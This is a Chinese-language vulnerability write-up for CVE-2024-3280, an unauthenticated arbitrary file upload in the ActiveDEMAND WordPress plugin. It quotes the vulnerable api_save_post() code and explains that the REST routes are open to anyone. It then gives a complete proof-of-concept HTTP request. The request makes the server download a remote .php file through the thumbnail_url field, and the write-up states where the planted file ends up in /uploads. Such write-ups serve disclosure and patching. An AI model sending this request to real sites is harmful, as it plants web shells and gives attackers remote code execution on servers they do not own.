CVE-2024-3280–ActiveDEMAND <= 0.2.41 – Unauthenticated Arbitrary File Upload

发布于 2024-05-08  43 次阅读


漏洞信息

WordPress 的 ActiveDEMAND 插件容易受到任意文件上传的攻击,因为在 0.2.41 及之前的所有版本中,api_save_post() 函数中缺少文件类型验证。这使得未经身份验证的攻击者可以在受影响站点的服务器上上传任意文件,从而使远程代码执行成为可能。
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/activedemand/activedemand-0241-unauthenticated-arbitrary-file-upload
根据情报信息得知是api_save_post()函数出现的问题,我们去看下代码。

存在漏洞的代码

可以看到在插件官方版本变更中是直接删除了这段代码,可以看到在888至910行代码是一个图片操作此处没有进行任何的过滤限制导致可以通过远程下载的方式下载远端的文件到本地。

function api_delete_post($request)
819        {
820            $parameters = $request->get_params();
821            $post_id = $parameters['id'];
822        
823            if ($parameters['api_key'] == "" || activedemand_api_key() == "") {
824                return array('error' => 1, 'message' => 'Missing Api Key');
825            }
826        
827            if (!isset($parameters['api_key']) || strcmp($parameters['api_key'], activedemand_api_key()) != 0) {
828                return array('error' => 1, 'message' => 'Invalid Api Key');
829            }
830        
831            if (empty($parameters['id'])) {
832                return array('error' => 1, 'message' => 'Post Id is empty');
833            }
834        
835            if (wp_delete_post($post_id, true)) {
836                return array('error' => 0);
837            } else {
838                return array('error' => 1);
839            }
840        }
841        
842        function api_save_post($request)
843        {
844            $success = false;
845            include_once ABSPATH . 'wp-admin/includes/image.php';
846            $parameters = $request->get_params();
847        
848            if ($parameters['api_key'] == "" || activedemand_api_key() == "") {
849                return array('error' => 1, 'message' => 'Missing Api Key');
850            }
851        
852            if (!isset($parameters['api_key']) || strcmp($parameters['api_key'], activedemand_api_key()) != 0) {
853                return array('error' => 1, 'message' => 'Invalid Api Key');
854            }
855            //create slug from title when slug is empty
856            $parameters['slug'] = empty($parameters['slug']) ? sanitize_title($parameters['title']) : $parameters['slug'];
857        
858            if (empty($parameters['title']) || empty($parameters['content']) || empty($parameters['slug'])) {
859                return array('error' => 1, 'message' => 'Invalid request');
860            }
861            $category = get_cat_ID($parameters['categories']);
862        
863            $post = array(
864                'post_type' => 'post',
865                'post_title' => $parameters['title'],
866                'post_content' => $parameters['content'],
867                'post_status' => 'draft',
868                'post_author' => 0,
869                'post_date' => $parameters['date'],
870                'post_slug' => $parameters['slug'],
871                'post_excerpt' => $parameters['excerpt'],
872                'post_category' => array($category),
873                'tags_input' => $parameters['tags']
874            );
875        
876            if (isset($parameters['id']) && $post_id = $parameters['id']) {
877                $post['ID'] = $parameters['id'];
878                if (isset($post['post_status']) && !empty($post['post_status'])) {
879                    $post['post_status'] = $parameters['status'];
880                }
881                $success = wp_update_post($post);
882            } else {
883                if ($post_id = wp_insert_post($post)) {
884                    $success = true;
885                }
886            }
887        
888            $image_url = $parameters['thumbnail_url'];
889            if (!empty($image_url)) {
890                $upload_dir = wp_upload_dir();
891                $image_data = file_get_contents($image_url);
892                $filename = basename($image_url);
893                if (wp_mkdir_p($upload_dir['path'])) {
894                    $file = $upload_dir['path'] . '/' . $filename;
895                } else {
896                    $file = $upload_dir['basedir'] . '/' . $filename;
897                }
898                file_put_contents($file, $image_data);
899                $wp_filetype = wp_check_filetype($filename, null);
900                $attachment = array(
901                    'post_mime_type' => $wp_filetype['type'],
902                    'post_title' => sanitize_file_name($filename),
903                    'post_content' => '',
904                    'post_status' => 'inherit'
905                );
906                $attach_id = wp_insert_attachment($attachment, $file, $post_id);
907                $attach_data = wp_generate_attachment_metadata($attach_id, $file);
908                wp_update_attachment_metadata($attach_id, $attach_data);
909                set_post_thumbnail($post_id, $attach_id);
910            }
911        
912            if ($post_id && $success) {
913                return array('error' => 0, 'id' => $post_id, 'slug' => $post['post_slug']);
914            } else {
915                return array('error' => 1);
916            }
917        }
918        
919        add_action('rest_api_init', function () {
920            register_rest_route('activedemand/v1', '/create-post/', array(
921                'methods' => 'POST',
922                'callback' => __NAMESPACE__ . '\api_save_post',
923                'permission_callback' => '__return_true'
924            ));
925        
926            register_rest_route('activedemand/v1', '/update-post/', array(
927                'methods' => 'POST',
928                'callback' => __NAMESPACE__ . '\api_save_post',
929                'permission_callback' => '__return_true'
930            ));
931        
932            register_rest_route('activedemand/v1', '/delete-post/', array(
933                'methods' => 'POST',
934                'callback' => __NAMESPACE__ . '\api_delete_post',
935                'permission_callback' => '__return_true'
936            ));
937        });

历史版本插件下载地址:https://downloads.wordpress.org/plugin/activedemand.0.2.40.zip

POC

POST /wp-json/activedemand/v1/create-post?api_key= HTTP/1.1
Host: xxxxxxxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: application/json
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryABC123
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Postman-Token: 123123
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua: "Google Chrome";v="123", "Chromium";v="123", "Not=A?Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Te: trailers
Connection: close
Content-Length: 544


------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="api_key"


------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="title"

My File Title
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="content"

This is the content of my file.
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="slug"

my-file-slug
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="thumbnail_url"

http://xxxxx/xxxxx.php
------WebKitFormBoundaryABC123--

文件地址位于:/uploads/年/月/文件名